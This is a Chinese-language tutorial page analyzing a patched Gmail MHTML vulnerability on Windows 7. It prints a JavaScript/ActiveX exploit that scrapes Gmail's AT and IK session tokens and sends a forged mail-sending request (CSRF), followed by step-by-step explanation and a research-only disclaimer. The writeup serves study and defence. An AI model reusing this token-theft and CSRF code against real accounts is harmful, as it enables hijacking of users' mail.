Windows XP Windows 7 Windows 2003 Windows Vista Windows 綜合教學 Linux 系統教學
Windows 10 Windows 8 Windows 2008 Windows NT Windows Server 電腦軟體教學

Win7 下 Gmail MHTML 漏洞利用代碼分析

編輯:Win7 系統基礎知識

背景

Win7 環境下利用 MHTML 協議發起 Ajax 請求攻擊 Gmail,需繞過同源策略限制。不同於 XP 可直接 HTTP 請求,Win7 要求請求 URL 同屬 MHTML 協議,否則無權限。

攻擊關鍵:獲取 AT 與 IK 參數

成功發起 CSRF 需從 Gmail 頁面或 Cookie 取得 AT(34 字元)與 IK(10 字元)兩個參數。

核心利用代碼 (JavaScript/ActiveX)

xmlHttp = new ActiveXObject("Microsoft.XMLHttp");
xmlHttp.open("GET", "mhtml:https://mail.google.com/mail/h/0/", true);
xmlHttp.send();

xmlHttp.onreadystatechange = function() {
    if (xmlHttp.readyState == 4 && xmlHttp.status == 200) {
        // 取得 AT
        REX = /href=\".*?at=(.{34})\"/.exec(xmlHttp.responseText);
        AThash = RegExp.$1;

        // 取得 IK
        xmlHttp.open("GET", "mhtml:https://mail.google.com/mail/", true);
        xmlHttp.send();
        xmlHttp.onreadystatechange = function() {
            if (xmlHttp.readyState == 4 && xmlHttp.status == 200) {
                REX = /GLOBALS=\[.*?,"(.{10})",/.exec(xmlHttp.responseText);
                IKhash = RegExp.$1;

                // 發送郵件 (CSRF)
                xmlHttp.open("POST", "mhtml:https://mail.google.com/mail/?ui=2&ik=" + IKhash + "&view=mdlg&at=" + AThash, true);
                xmlHttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
                xmlHttp.send("mdrp=1&mda=%0D%0A" + Tmail + "%0D%0A");
            }
        };
    }
};

技術細節說明

  • 所有請求均使用 mhtml: 協議前綴,符合 Win7 同源策略要求。
  • 先從 /mail/h/0/ 解析 AT,再從 /mail/ 解析 IK。
  • 最終構造 POST 請求發送郵件,實現 CSRF 攻擊。

安全提醒

本代碼僅供安全研究與防禦參考,嚴禁用於非法用途。Google 已修補相關漏洞,現代瀏覽器亦已棄用 MHTML 協議支援。

Copyright © Windows教程網 All Rights Reserved